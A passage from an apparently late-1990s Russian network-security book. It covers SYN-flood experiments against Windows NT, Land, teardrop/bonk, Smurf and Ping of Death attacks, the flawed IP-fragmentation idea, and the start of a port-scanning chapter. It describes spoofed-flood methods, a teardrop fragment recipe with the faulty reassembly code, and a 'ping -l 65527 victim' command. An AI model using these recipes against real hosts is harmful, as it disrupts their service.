Рис. 4.16. Нарушение работоспособности хоста в Internet, использующее направленный шторм ложных TCP-запросов на создание соединения

Такую атаку можно было предсказать еще лет двадцать назад, когда появилось семейство протоколов TCP/IP: ее корни находятся в самой инфраструктуре сети Internet, в ее базовых протоколах – IP и TCP. Но каково же было наше удивление, когда выяснилось, что на информационном WWW-сервере CERT (Computer Emergency Respone Team) первое упоминание об удаленном воздействии такого рода датировано только 19 сентября 1996 года! Там эта атака носила название «TCP SYN Flooding and IP Spoofing Attacks» («наводнение» TCP-запросами с ложных IP-адресов).

Другая разновидность атаки «отказ в обслуживании» состоит в передаче на атакуемый хост нескольких десятков (сотен) запросов TCP SYN в секунду (направленный мини-шторм TCP-запросов) на подключение к серверу, что может привести к временному (до 10 минут) переполнению очереди запросов на сервере (см. атаку К. Митника и пример с ОС Linux 1.2.8). Это происходит из-за того, что некоторые сетевые ОС обрабатывают только первые несколько запросов на подключение, а остальные игнорируют. Таким образом, получив N запросов на подключение, ОС сервера ставит их в очередь и генерирует соответственно N ответов. Затем в течение определенного промежутка времени (тайм-аут < 10 минут) сервер будет дожидаться сообщения от предполагаемого клиента, чтобы завершить handshake и подтвердить создание виртуального канала с сервером. Если атакующий пришлет такое количество запросов на подключение, которое равно максимальному числу одновременно обрабатываемых сервером сообщений, то в течение тайм-аута остальные запросы будут игнорироваться и установить связь с сервером не удастся.

Мы провели ряд экспериментов с направленным штормом и направленным мини-штормом запросов на различных по вычислительным мощностям компьютерах с разными операционными системами.

Тестирование направленным штормом запросов TCP SYN, проводимое на различных сетевых ОС в экспериментальных 10-мегабитных сегментах сети, дало следующие результаты.

Все описанные далее атаки осуществлялись по определенной методике. Подготавливался TCP-запрос, который при помощи специально разработанной собственной программы в цикле передавался в сеть с соответствующими задержками (вплоть до нулевой) между запросами. При этом циклически изменялись такие параметры запроса, как порт отправителяи значение 32-битного идентификатора SYN. IP-адрес отправителя запроса был выбран так, чтобы, во-первых, этот хост в настоящий момент не был активен в сети и, во-вторых, чтобы соответствующий маршрутизатор, в чьей зоне ответственности находится данный хост, не присылал сообщения Host Unreachable (Хост недоступен). В противном случае хост, от имени (с IP-адреса) которого посылался запрос TCP SYN, получив «неожиданный» ответ TCP ACK от атакуемого сервера, перешлет на него пакет TCP RST, закрывая таким образом соединение.

При передаче по каналу связи максимально возможного числа TCP-запросов и при нахождении кракера в одном сегменте с объектом атаки атакуемые системы вели себя следующим образом: ОС Windows 95, установленная на 486DX2-66 с 8 Мб ОЗУ, «замирала» и переставала реагировать на любые внешние воздействия (в частности, нажатия на клавиатуру); ОС Linux 2.0.0 на 486DX4-133 c 8 Мб ОЗУ также практически не функционировала, обрабатывая одно нажатие на клавиатуре примерно 30 секунд. В результате к этим хостам невозможно было получить не только удаленный, но и локальный доступ. Наилучший результат при тестировании показал двухпроцессорный Firewall CyberGuard: удаленное подключениек нему также не удалось, но на локальных пользователях воздействие никак не сказывалось (все-таки два процессора).

Не менее интересным было поведение атакуемых систем после снятия воздействия: ОС Windows 95 практически сразу же после прекращения атаки начала нормально функционировать; в ОС Linux 2.0.0 с 8 Мб ОЗУ, по-видимому, переполнился буфер, и более получаса система не функционировала ни для удаленных, ни для локальных пользователей, а занималась только передачей ответов на полученные ранее запросы. CyberGuard сразу же после снятия воздействия стал доступным для удаленного доступа.

Если кракер находился в смежных сегментах с объектом, то во время атаки OC Windows 95 на Pentium100 с 16 Мб ОЗУ обрабатывала каждое нажатие с клавиатуры примерно секунду, ОС Linux 2.0.0 на Pentium 100 с 16 Мб ОЗУ практически «повисала» – одно нажатие за 30 секунд, зато после снятия воздействия нормальная работа возобновлялась.

Не нужно обманываться, считая, что ОС Windows 95 показала себя с лучшей стороны. Такой результат объясняется следующим: Windows 95 – операционная система, не имеющая FTP-сервера, а следовательно, ей не нужно было сохранять в памяти параметры передаваемого TCP-запроса на подключение к этому серверу и дожидаться окончания handshake.

Направленный шторм запросов на ОС Windows NT 4.0

В связи с особой популярностью у пользователей операционной системы Windows NT мы решили описать эксперименты с данной ОС отдельно. Анализировалась реакция Windows NT 4.0 build 1381 с установленным Service Pack 3 и дополнительным ПО в составе MS IIS 3.0, MS Exchange 5.0, MS SQL 6.5, MS RAS на компьютере со следующей аппаратной конфигурацией: процессор – Pentium 166 MMX, ОЗУ – 32 Мб, HDD – 2 Гб, сетевая карта – 32-разрядная (фирмы 3COM).

Направленный шторм запросов на 21, 25, 80, 110, 119 и 139 порты

Эксперимент осуществлялся следующим образом. На соответствующий порт атакуемого сервера в цикле TCP SYN отправлялось 9 500 запросов в секунду, что составляет около 50 % от максимально возможного количества сообщений при пропускной способности канала 10 Мбит/c. В результате было выведено пороговое значение, определяющее число запросов в секунду, при превышении которого удаленный доступ к серверу становится невозможным.

Во время шторма TCP-запросов на указанные порты наблюдалась следующая реакция системы:

• замедлялась работа локального пользователя (нажатия на клавишу обрабатывались 1-10 секунд, менеджер задач показывал 100-процентную загрузку процессора);

• удаленный доступ по сети к атакуемому серверу на любой порт оказывался невозможным;

• на сервере из-за нехватки памяти переставали запускаться любые процессы (появлялись сообщения «Нет системных ресурсов»);

• при шторме на 139-й порт с довольно большой вероятностью (около 40 %) система через некоторое время «зависала» («синий экран»);

• после перезагрузки сервера при постоянно идущем шторме на 139-й порт сервер, как правило, «зависал» (вероятность более 50 %);

• при попытке обращения с консоли сервера в сеть возникали многочисленные ошибки (пакеты не передавались, система «зависала»).

После прекращения шторма запросов TCP SYN у атакуемого NT-сервера наблюдалась следующая реакция:

• из-за нехватки памяти переставали запускаться любые процессы (появлялись сообщения «Нет системных ресурсов»). Удаленный пользователь не всегда мог получить необходимую ему информацию, даже если удаленный доступ к портам сервера был возможен (HTTP-сервер при попытке обращения к ссылке возвращал ошибку);

• при попытке вызова Менеджера задач на локальной консоли система «зависала»;

• иногда наблюдались отказы в обслуживании при любом удаленном доступе.

В заключение необходимо отметить, что такие реакции системы на атаку штормом запросов во многом являлись стохастическими, то есть проявлялись не всегда и не всегда были строго детерминированы (в процессе многочисленных экспериментов описанные реакции системы наблюдались лишь с той или иной степенью вероятности). Однако можно утверждать, что, во-первых, при шторме с числом запросов 8 500 пак./с удаленный доступ к серверу невозможен и, во-вторых, в такой ситуации функционирование сервера чрезвычайно нестабильно и серьезно осложняет (замедляет, прекращает и т. д.) работу удаленных пользователей.

Результаты тестирования Windows NT 4.0 после установки Service Pack 4 оказались более обнадеживающими для этой операционной системы. На Windows NT 4.0 Server (Pentium 166) шторм 8 000 запросов в секунду был практически незаметен ни для локального, ни для удаленного пользователя. Но, что любопытно, при этом Windows NT 4.0 WorkStation (Pentium 200) с большой долей вероятности «уходила в синий экран» в среднем через одну минуту. Атака на Windows NT 4.0 с Service Pack 4 позволила сделать следующий вывод: нарушить работоспособность системы (за исключением сервера на атакуемом порту) удается не всегда, и результаты атаки от эксперимента к эксперименту могут варьироваться.

Надо заметить, что обычный шторм TCP SYN стал нынче «немодным». Значительно проще достигнуть необходимого результата с помощью более изощренных видов атак. Например, в случае Windows NT c Service Pack 4 отличные результаты дает Land-шторм, можно использовать также и другие подобные воздействия (fragmenation (bonk, teardrop), ping-death и т. д.). Главное – подойти к этому вопросу творчески!

Направленный мини-шторм запросов на 21, 25, 80, 110, 119 и 139 порты

Далее приводятся результаты тестов для той же аппаратно-программной конфигурации Windows NT 4.0 Server.

Направленный мини-шторм запросов на 21-й порт (FTP)

Воздействие осуществлялось следующим образом. На 21-й порт атакуемого сервера в цикле отправлялось 100 запросов TCP SYN в секунду с задержкой 10 мс. Эксперимент показал, что 21-й FTP-порт позволяет одновременно создавать не более 85 соединений с удаленными хостами. При этом тайм-аут очистки очереди в том случае, если клиент не подтверждает открытие TCP-соединения (ответ на пакет SYN ACK от сервера не приходит), составляет от 20 секунд до 1 минуты (в среднем около 30 секунд).

Итак, эксперимент показал, что FTP-сервер позволяет иметь одновременно не более 85 соединений и поддерживает их открытыми в течение 30 секунд. Пока очередь заполнена (во время тайм-аута), удаленный доступ к FTP-серверу невозможен: в ответ на запрос клиента о подключении придет сообщение Connection Refused (В соединении отказано).

В зависимости от следующих параметров:

• максимальное число возможных соединений на данном порту (N);

• количество запросов, генерируемых атакующим, за 1 секунду (V);

• тайм-аут очистки очереди запросов (T);

• вероятность подключения легального пользователя при мини-шторме P выведем общую формулу, позволяющую вычислить вероятность подключения удаленного пользователя к серверу:

P = (N/V)/T х 100 %.

Из приведенной формулы видно, что вероятность подключения тем выше, чем больше соединений возможно на данном порту и чем меньше тайм-аут очистки очереди и число запросов атакующего.

Например, во время описанного выше эксперимента вероятность подключения пользователя при мини-шторме (100 запр./с) на FTP-порт составляла:

P = (85/100)/30 х 100 % = 2,8 %.

Направленный мини-шторм запросов на 25-й порт (SMTP)

Воздействие осуществлялось аналогично описанному ранее. На 25-й порт атакуемого сервера в цикле отправлялись 100 запросов TCP SYN в секунду с задержкой 10 мс. Тестирование показало, что 25-й SMTP-порт на сервере позволяет одновременно создавать не более 10 (!) соединений с удаленными почтовыми серверами, а тайм-аут в среднем составляет около 30 секунд.

Во время данного эксперимента вероятность подключения пользователя на SMTP-порт при мини-шторме составляла:

P = (10/100)/30 X 100 % = 0,3 %.

Направленный мини-шторм запросов на 80-й порт (HTTP)

Эксперимент показал, что 80-й HTTP-порт на сервере при мини-шторме (100 запросов в секунду с задержкой 10 мс) позволяет одновременно создавать не более 80 соединений с удаленными HTTP-клиентами (браузерами), при этом тайм-аут составляет в среднем около 30 секунд. В данном случае вероятность подключения составляла:

P = (80/100)/30 х 100 % = 2,6 %.

При исследовании настроек WWW– и FTP-серверов была обнаружена опция, позволяющая установить неограниченное число одновременно подключенных клиентов. Однако на уровне TCP это число все равно ограничено приведенными выше значениями и на практике роли не играет (Microsoft в своем репертуаре!).

Направленный мини-шторм запросов на 110-й порт (POP3)

Тестирование по описанной выше методике позволило сделать вывод, что 110-й POP3-порт на сервере допускает одновременно не более 100 соединений с удаленными хостами при тайм-ауте в среднем около 30 секунд.

При проведении данного эксперимента вероятность подключения пользователя составляла:

P = (100/100)/30 X 100 % = 3,3 %.

Направленный мини-шторм запросов на 139-й порт (NETBIOS)

Эксперимент показал, что 139-й порт на сервере позволяет одновременно создавать примерно 1 040 соединений с удаленными клиентами («родной» для NT порт пользуется явными привилегиями); тайм-аут очистки очереди в среднем также равен около 30 секунд.

Во время такого шторма вероятность подключения пользователя составляла:

P = (1040/100)/30 х 100 % = 34,6 %.

Прежде чем сделать окончательный вывод, мы провели анализ дополнительных возможностей настройки модуля TCP в ядре ОС Windows NT 4.0. Исследование показало, что параметр N (максимальное число соединений на данном порту) в текущей версии изменить нельзя, повлиять на параметр V (количество запросов, генерируемых атакующим за 1 секунду) также невозможно, а уменьшать пропускную способность канала несерьезно. Единственный параметр, который можно изменить в ОС Windows NT, – это T (тайм-аут очистки очереди запросов).

Анализ технической документации Microsoft, найденной только на одном из хакерских сайтов, посвященных безопасности NT (любопытно, что обычный Microsoft TechNet Knoweledge Base не содержит даже этой информации (!!!)), показал, что, используя Registry Editor, можно изменять параметр TcpMaxConnectResponseRetransmissions (это позволит уменьшить время тайм-аута T). Такой параметр принимает следующие значения:

3 – повтор SYN ACK через 3, 6, 12 секунд, очистка очереди через 24 секунды после посылки последнего ответа, T = 45 с;

2 – повтор SYN ACK через 3, 6 секунд, очистка очереди через 12 секунд после посылки последнего ответа, T = 21 с;

1 – повтор SYN ACK через 3 секунды, очистка очереди через 6 секунд после посылки последнего ответа, T = 9 с;

0 – нет повтора, очистка очереди через 3 секунды.

Чтобы снизить вероятность успеха атаки штормом запросов, разумно выбрать значение TcpMaxConnectResponseRetransmissions, равное 1.

Общая картина тестов вполне ясна: WWW-, FTP-, SMTP-, POP3-серверы на базе Windows NT 4.0 Server функционировать не будут! Любой кракер с обычным модемом на 33 600 бит/c сможет генерировать шторм запросов порядка 80 зап./с, что даже при тайм-ауте очистки очереди на сервере в 9 секунд сделает подключение к данным службам практически невозможным.

...

Поистине умиляет привилегированность «родного» 139-го порта – более чем двенадцатикратный приоритет (по длине очереди запросов) по сравнению с любыми другими портами! Особенно это «интересно» смотрится вкупе с невозможностью «ручного» изменения длины очереди на определенном порту! Видимо, в компании Microsoft считают, что основная задача NT-сервера заключается в «расшаривании» его ресурсов, а WWW, FTP и т. д. – не столь важное дело!

Необходимо отметить, что в существующем стандарте сети Internet IPv4 нет приемлемых способов надежно обезопасить операционную систему от этой удаленной атаки. К счастью, взломщик не сможет получить несанкционированный доступ к вашей информации, а только «съест» вычислительные ресурсы вашей системы и нарушит ее связь с внешним миром.

Такие эксперименты по описанной нами методике читатели могут сами провести с любыми ОС и посмотреть, как эти системы реагируют на подобные воздействия.

Мифические удаленные атаки в сети Internet

Завершая тему, мы хотели бы рассказать о так называемых мифических удаленных атаках. К ним можно отнести «почти» осуществимые угрозы, основанные на реальных особенностях протоколов Internet. На практике такое воздействие либо нельзя осуществить (например, IP-фрагментацию как способ проникновения через Firewall), либо вероятность его успеха чрезвычайно мала (например, превышение максимально возможного размера IP-пакета, или Ping Death). Однако шумиха, поднимаемая некоторыми зарубежными «экспертами» по безопасности Internet, вводит в заблуждение многих пользователей, создавая миф об этих атаках, которые на самом деле никому не угрожают.

Фрагментация IP как способ проникновения через Firewall

Как известно из описания протокола IP (RFC 791), максимальный размер IP-пакета может достигать 216 -1 байт. Однако размер пакета (дейтаграммы), пересылаемого непосредственно по каналу связи, зависит от типа среды передачи. Например, в среде Ethernet максимальный размер дейтаграммы – 1 500 байт, в среде ATM – 56 байт. Для того чтобы IP-пакеты могли передаваться по сетям любых типов, в протоколе IP предусмотрена IP-фрагментация, то есть разбиение одного большого пакета на соответствующее количество дейтаграмм меньших размеров. Применение такой фрагментации в Internet делает ее более гибкой и инвариантной по отношению к разнообразным физическим средам передачи. На рис. 4.17 приведен формат IP-пакета версии IPv4.

Рис. 4.17. Формат IP-пакета версии IPv4

Обратим внимание на поля Fragment Offset (Смещение фрагмента) и Flags (Индикаторы фрагментации) в IP-заголовке (RFC 791). Поле Flags показывает, фрагментирован пакет или нет. В поле Fragment Offset содержится значение смещения фрагмента относительно начала дейтаграммы, измеряемое восьмерками байт. Именно на эту особенность и не обратил внимания д-р Коэн (F. B. Cohen) в своей статье «Packet Fragmentation Attacks» («Атаки посредством фрагментации пакетов») [20]: единицав таком поле означает смещение на 8 байт от начала дейтаграммы.

Каков же механизм предполагаемого воздействия? Как известно, одной из основных функций всех межсетевых экранов (МЭ) является фильтрация проходящего через них сетевого трафика. При фильтрации на сетевом уровне ограничивается возможность доступа к определенным службам защищаемых хостов. Тип службы, на которую направляется пакет, определяется параметром «порт назначения» в заголовке пакета TCP или UDP (рис. 4.18), поэтому МЭ анализирует этот параметр, проверяя его соответствие установленным правилам фильтрации. Если пакет отвечает заданным условиям, то он пропускается дальше, в противном случае – отфильтровывается.

Рис. 4.18. Формат TCP-пакета

В статье «Packet Fragmentation Attacks», опубликованной в конференции All.net, доктор Коэн предложил следующий сценарий предполагаемой атаки, заключающейся в прохождении фрагментированного пакета через Firewall без фильтрации. Взломщик разбивает пакет на два фрагмента, из них первый содержит фиктивный TCP– или UDP-заголовок с номером порта назначения, который не фильтруется межсетевым экраном (например, 25-й порт – почтовый SMTP-сервер), а второй имеет такое смещение (равное 1) в поле Fragment Offset, что перекрывает первый пакети записывает в поле «порт назначения» истинное значение порта той службы, к которой доступ через МЭ запрещен.

...

С этой статьей д-ра Коэна [20] происходили с течением времени довольно любопытные изменения. В статье, которую авторы нашли на WWW-сервере all.net в мае 1996 года, для осуществления атаки предлагалось занести в поле Fragment Offset значение, равное 1 (далее будет показано, что в этом случае подобная атака в принципе невозможна). Однако после посещения одного из серверов уже в мае 1997 года авторы с удивлением обнаружили ту же статью, но с одним «небольшим» исправлением: предлагалось заносить в это поле уже не 1, а 0! Во всем остальном статья осталась неизменной.

В этом случае правила фильтрации пропустят такой IP-пакет, так как сборкой фрагментированных пакетов занимается не МЭ, а операционная система получателя, не проверяя, как правило, накладываются ли части пакета друг на друга. Собранный пакет сетевая ОС передает соответствующей службе, основываясь на данных в поле «порт назначения».

На первый взгляд атака состоялась: фрагментированный пакет, направленный одной службе, прошел через МЭ и после сборки был передан другой службе, доступ на которую был запрещен правилами фильтрации. Однако д-р Коэн не учел одного важного факта: значение в поле смещения согласно спецификации указывается в восьмерках байт, и даже если установить это значение равным единице и предположить, что сетевая ОС не проверяет наложения фрагментов, то такое наложение произойдет только после первых восьми байт TCP– или UDP-заголовка, в которых, как видно из рис. 4.19, и содержатся поля портов назначения.

Рис. 4.19. Формат UDP-пакета

Через некоторое время д-р Коэн, видимо, обнаружил описанную выше ошибку и исправил сценарий: единица в поле Fragment Offset была заменена им на ноль. Проанализируем, насколько это изменение сделает возможным осуществление такой атаки.

Действительно, в этом случае кракер может заполнить нужным ему образом поле Flags (об этом поле в сценарии атаки д-р Коэн даже не упоминает) во втором пакете, а ведь сетевая ОС должна принимать решениео начале сборки фрагментов именно на основании значения из этого поля. Но анализ исходных текстов ядра операционных систем Linux и FreeBSD показал, что IP-пакет будет воспринят этими ОС как фрагмент только тогда, когда значение в поле Fragment Offset не равно 0. Тем не менее, так как в алгоритме сборки фрагментов, описанном в RFC 791, не требуется обязательной проверки значения этого поля, возможно, что некоторые сетевые ОС ее не производят, и, следовательно, атака может иметь успех.

Как нам кажется, сама идея наложения фрагментов достаточно любопытна. Другое дело, что применение ее для проникновения пакетов атакующего через Firewall в существующем стандарте IPv4 представляется маловероятным.

Превышение максимально возможного размера IP-пакета, или Ping Death

В максимальный размер IP-пакета (65 535 байт) включаются длина IP-заголовка и длина поля данных в IP-пакете. Так как минимальный размер IP-заголовка – 20 байт (максимальный – 60), то соответственно размер данных, передаваемых в одном IP-пакете, не может превышать 65 535 – 20 = 65 515 байт. А что будет, если превысить это число?

Тестировать свои программы на предельных критических значениях – стандартный для любого программиста ход. Подобные тесты позволяют выявить такие неприятные ошибки, как всевозможные переполнения (буфера, стека, переменной и т. д.).

Но вернемся к IP. В принципе ничто не мешает атакующему сформировать набор фрагментов, которые после сборки превысят максимально возможный размер IP-пакета. Собственно в этой фразе и сформулирована основная идея данной атаки.

Итак, 18 декабря 1996 года на информационном сервере CERT появились сообщения о том, что большинство сетевых операционных систем, поддерживающих протоколы TCP/IP, обладают следующей уязвимостью: при передаче на них IP-пакета длиной, превышающей максимально допустимое значение, в этих ОС переполняется буфер или переменная, в результате система «зависает» или перезагружается, то есть налицо отказв обслуживании. Был приведен и список потенциально опасных платформ:

• Berkeley Software Design, Inc. (BSDI);

• Computer Associates, Intl. (products for NCR);

• Cray Research;

• Digital Equipment Corporation;

• FreeBSD, Inc.;

• Hewlett-Packard Company;

• IBM Corporation;

• Linux Systems;

• NEC Corporation;

• Open Software Foundation (OSF);

• The Santa Cruz Operation, Inc. (SCO);

• Sun Microsystems, Inc.

Мы с удивлением прочитали этот перечень операционных систем на различных платформах, а потом принялись за эксперименты. Наше глубочайшее изумление вызвал тот факт, что элементарную ошибку переполнения буфера в модуле IP ядра ОС за почти 20 лет активного функционирования протокола IP разработчики сегодняшних систем до сих пор не замечали. Поэтому мы позволили себе не поверить столь уважаемой организации, как CERT. Но прежде чем начать эксперименты, было решено посмотреть по указанной в CERT ссылке (http://www.sophist.demon.co.uk/ping) на WWW-сервер, где экспертами проводились подобные исследования на различных ОС. На WWW-сервере предлагалось реализовать такое воздействие следующим образом: необходимо выполнить на рабочей станции с ОС Windows 95 или Windows NT следующую команду: ping -l 65527 victim.destination.IP.address (по этой команде атака и получила свое название – Ping Death).

Так как обычный размер IP-заголовка составляет 20 байт, а размер ICMP-заголовка – 8 байт, то подобный ICMP-пакет будет превышать максимально возможный размер IP-пакета на 20 байт: 65 527 + 20 + 8 – 65 535 = 20.

Основываясь на приведенном расчете, эти «эксперты» декларировали, что обычной командой ping можно нарушить работоспособность практически любой сетевой ОС. В завершение предлагалась следующая таблица тестирования различных операционных систем (здесь она приводится в сокращении), на которые данная удаленная атака якобы произвела необходимый эффект. Итак, мы начали тестирование и, честно говоря, абсолютно не удивились, когда исследуемые ОС – IRIX, AIX, VMS, SunOs, FreeBSD, Linux, Windows NT 4.0, даже Windows 95 и Windows for WorkGroups 3.11 – абсолютно не реагировали на подобный некорректный запрос, продолжая нормально функционировать. Тогда были предприняты специальные поиски операционной системы, которую бы действительно вывела из строя данная атака. Ей оказалась Windows 3.11с WinQVT – эта ОС действительно «зависла».

Таблица 4.2. Уязвимые операционные системы

Этим «экспертам», которым столь доверяют CERT и CIAC, мы послали запрос, где попросили прояснить возникшую ситуацию, а также уточнить сведения из вышеприведенной таблицы. В полученном нами ответе говорилось, что успех данной атаки зависит от многих факторов, а именно: программного и аппаратного обеспечения, установленного на компьютере, и, самое главное, от фазы Луны. Как говорится, без комментариев. Для полноты картины мы хотели бы привести описание exploit, созданного для Windows NT 4.0, задача которого, используя ping, «завесить» собственный компьютер (!). Сначала предлагалось запустить Web Browser, затем – taskmgr (Task Manager): так Ping Death якобы лучше работает (еще не хватает шаманского бубна!). И наконец, требовалось запустить 18 ping-процессов (почему не 100?). Если вы думаете, что после всего этого ваша ОС немедленно «повиснет», то ошибаетесь! В комментариях к exploit до получения эффекта предлагалось ждать примерно 10 минут, а может быть, несколько больше или несколько меньше.

Можно сделать вывод, что опасения по поводу данного воздействия ни на чем не основаны, и нам остается только назвать эту атаку очередной программистской байкой и причислить ее к разряду практически неосуществимых.

Атаки, использующие ошибки реализации сетевых служб

Атака Land

Как уже неоднократно подчеркивалось, существует принципиальная возможность отправить IP-пакет от имени (с IP-адреса) любого хоста в Internet. Эта возможность заложена в формате самого IP-заголовка, поскольку в нем не предусмотрено ни одного дополнительного идентифицирующего поля (за исключением поля Source Address). Ничто не мешает кракеру поставить в этом поле то же самое значение, что и в поле Destination Address, то есть сформировать IP-пакет, где адрес отправителя совпадает с адресом получателя пакета. Кроме того, в TCP-заголовке также ничто не мешает установить одинаковые значения в полях Source Port Number и Destination Port Number. Таким образом, формируется обычный IP-пакет, направленный как бы сам на себя. В случае атаки в заголовке такого IP-пакета в качестве адресов назначения и отправления указываются IP-адреса объекта воздействия, а в качестве порта назначения и отправления – любой открытый порт на атакуемой системе.

Однако, как оказалось (первые сведения о данной уязвимости датированы 1997 годом), существуют операционные системы, для которых подобный запрос является нестандартной ситуацией, вызывающей некорректную обработку, – ответ системы самой себе, в результате чего происходит зацикливание.

Наши эксперименты показали, что такой уязвимости подвержены все версии ОС Windows NT/95. Причем Service Pack 4.0 в этом случае почти не помогает. После приема одного Land-запроса на некоторое время (45 секунд при установленном Service Pack 3) загрузка системы увеличивается до 100 % и доступ в систему становится невозможным (Windows 95 обычно показывает синий экран). Мы недаром выделили слово «одного». Ведь ничто не мешает атакующему организовать шторм или мини-шторм Land-запросов, а это сделает работу Windows-системы практически невозможной. Например, при тестировании направленным штормом Land-запросов Windows NT 4.0 на платформе Pentium 200 с установленным Service Pack 4 (где серьезно улучшена реакция NT на атаку Land) порог «нормальной» работы был в случае шторма не более 3 500 зап./с. При шторме Land-запросов свыше указанного порогового значения система «замирала» и доступ к ней становился невозможным.

Атаки teardrop и bonk

Данная уязвимость основана на ошибках разработчиков операционной системы в модуле, отвечающем за сборку фрагментированных IP-пакетов. При такой сборке, как и следовало ожидать, формируется цикл по всем полученным фрагментам, из них в отдельный буфер копируется информативная часть, а затем данный буфер передается на уровень IP для дальнейшей обработки.

Разработчики ввели проверку на слишком большой объем копируемой информации (чтобы ядро не переносило такой объем данных), но не предусмотрели проверку на копирование слишком маленького фрагмента (фрагмента отрицательной длины). Рассмотрим, к чему приводит отсутствие такой проверки.

Когда фрагмент сообщения помещается в очередь сборки, выполняется поиск его положения в очереди:

end = (offset + total_len) – ihl;

Соответственно, если фрагменты перекрываются, то нужно выровнять их таким образом, чтобы устранить наложение:

if (prev!=NULL && offset<prev->end)

{

i=prev->end-offset;

offset += i;

ptr += i;

}

Таким образом, если смещение текущего фрагмента попало в предыдущий фрагмент, необходимо произвести корректное выравнивание. Данный фрагмент кода работает правильно всегда, кроме одного случая: если длина текущего пакета слишком мала, чтобы заполнить собой перекрытие, то offset окажется больше, чем end (именно эти переменные определяют длину фрагмента, копируемого в отдельный буфер, где и осуществляется сборка). Тогда при заполнении структуры, описывающей копируемый блок данных, возникает следующая ситуация:

fp->offset = offset

fp->end = end

fp->len = end-offset ( Отрицательная )

Заключенная в цикл инструкция по сборке фрагментов выглядит следующим образом:

memcpy((ptr+fp->offset), fp->ptr, fp->len),

где: ptr+fp->offset – смещение фрагмента в буфере;

fp->ptr – область данных фрагмента;

fp->len – длина копируемого блока данных.

Попытка скопировать блок данных отрицательной длины (что равносильно копированию очень большого блока данных) приводит к затиранию достаточно большого участка памяти и к «зависанию» или перезагрузке компьютера.

Таким образом, для реализации данной атаки пакеты формируются по следующему правилу (рассмотрим атаку из двух пакетов):

1. Посылается пакет, предполагающий фрагментацию (флаг MF = 1), со смещением фрагмента 0, блоком данных длиной N.

2. Посылается последний фрагмент сообщения (флаг MF = 0) с положительным смещением фрагмента offset < N и блоком данных, длина которого меньше N-offset.

Последовательная передача таких пакетов приводит к возникновению рассмотренной выше ситуации, когда копирование блока отрицательной длины вызывает выход компьютера из строя.

Для NT существуют две похожие программы, которые реализуют этот механизм, связанный с наложением IP-фрагментов: teardrop и newtear (с несущественными отличиями в константах). Пакеты посылаются с любого адреса на любой из портов, независимо от того, открыт он или нет.

Есть и другая вариация на тему этой атаки – bonk. В данном случае после сборки фрагментов в пакете остаются «дырки» – пустые, не заполненные данными места, что также может привести к сбою ядра операционной системы и «зависанию» компьютера.

Обе эти уязвимости присутствовали во всех версиях ОС Windows 95/NT до Service Pack 4 включительно и в ранних версиях ОС Linux (например, Linux 2.0.0). На сегодняшний день ошибки, связанные с некорректной сборкой фрагментов, скорее всего, исправлены в большинстве сетевых ОС.

Атака передачей широковещательного запроса от имени «жертвы»

Как известно, протокол IP поддерживает возможность broadcast-адрeсации (широковещательная) пакетов. Например, адрес 194.255.255.255 является широковещательным для сети 194.0.0.0. Особенность широковещательной передачи состоит в том, что такой IP-пакет получат все хосты внутри данной подсети (на канальном уровне в заголовке данного IP-пакета указывается адрес FF-FF-FF-FF-FF-FF, чем, очевидно, и достигается «широковещательность» сообщения).

Одной из функций протокола ICMP является передача по сети тестовых запросов Echo Request/Reply. Атака, получившая название Smurf, состоит в передаче в сеть одиночного широковещательного запроса ICMP Echo Request от имени (с IP-адреса) «жертвы». В результате все операционные системы (а их теоретически может быть очень много), получив этот Echo-запрос, перешлют на IP-адрес «жертвы» ответ, что может привести к перегрузке ОС компьютера этими ответами. На практике, однако, оказывается, что, во-первых, большинство роутеров не передает в сеть полученный широковещательный IP-запрос, а, во-вторых, ОС, отличные от UNIX-совместимых (например, MS Windows), не воспринимают широковещательный IP-трафик и, соответственно, не отвечают на подобные запросы.

Таким образом, можно сделать вывод, что атака Smurf является практически (но не принципиально!) неосуществимой.

Атака Windows-систем передачей пакетов TCP/IP на открытый порт

Такая атака, называемая Out of Band (OOB), на сегодняшний день абсолютно устарела: она заключалась в передаче на атакуемую Windows-систему пакета TCP/IP с флагом OOB на открытый (обычно 139-й) TCP-порт и эффективно «подвешивала» Windows NT/95 до выхода Service Pack 3.

Глава 5 Методы удаленного сканирования портов

Все тайное становится явным.

Рассмотрим существующие на сегодняшний день различные методы сетевого сканирования. Для этого необходимо ответить на следующий вопрос: «Что такое сканирование портов, и для чего оно применяется?»

Прежде чем переходить к ответу, вспомним, что представляют собой сетевые службы предоставления удаленного сервиса (серверные приложения), такие как WWW, FTP, TELNET и т. д. Эти программы (в UNIX-средах они обычно запускаются в режиме демона) после загрузки ожидают получения удаленных запросов на подключение от клиентов на определенных, заранее для них зарезервированных TCP– или, значительно реже, UDP-портах.

...

Далее в разделе мы будем рассматривать серверные приложения, использующие для связи протокол TCP, так как они по сравнению с приложениями, использующими UDP, составляют подавляющее большинство. То есть речь пойдет только о методах TCP-сканирования (хотя UDP-сканирование принципиально ничем не отличается).

Таким образом, список открытых (активных) портов на сервере означает наличие запущенных на нем серверных приложений, предоставляющих удаленный доступ. Ниже приводится текст файла /etc/services из ОС Linux, где есть список портов, зарезервированных для основных служб.

# Network services, Internet style

# Note that it is presently the policy of IANA to assign a single well-known

# port number for both TCP and UDP; hence, most entries here have two

# entries even if the protocol doesn’t support UDP operations.

# Updated from RFC 1340, “Assigned Numbers” (July 1992). Not all ports

# are included, only the more common ones.

# from: @(#)services 5.8 (Berkeley) 5/9/91

# $Id: services,v 1.9 1993/11/08 19:49:15 cgd Exp $

tcpmux 1/tcp # TCP port service multiplexer

echo 7/tcp

echo 7/udp

discard 9/tcp sink null

discard 9/udp sink null

systat 11/tcp users

daytime 13/tcp

daytime 13/udp

netstat 15/tcp

qotd 17/tcp quote

msp 18/tcp # message send protocol

msp 18/udp # message send protocol

chargen 19/tcp ttytst source

chargen 19/udp ttytst source

ftp 21/tcp

# 22 – unassigned

telnet 23/tcp

# 24 – private

smtp 25/tcp mail

# 26 – unassigned

time 37/tcp timserver

time 37/udp timserver

rlp 39/udp resource # resource location

nameserver 42/tcp name # IEN 116

whois 43/tcp nicname

domain 53/tcp nameserver # name-domain server

domain 53/udp nameserver

mtp 57/tcp # deprecated

bootps 67/tcp # BOOTP server

bootps 67/udp

bootpc 68/tcp # BOOTP client

bootpc 68/udp

tftp 69/udp

gopher 70/tcp # Internet Gopher

gopher 70/udp

rje 77/tcp netrjs

finger 79/tcp

www 80/tcp http # WorldWideWeb HTTP

www 80/udp # HyperText Transfer Protocol

link 87/tcp ttylink

kerberos 88/tcp krb5 # Kerberos v5

kerberos 88/udp

supdup 95/tcp

# 100 – reserved

hostnames 101/tcp hostname # usually from sri-nic

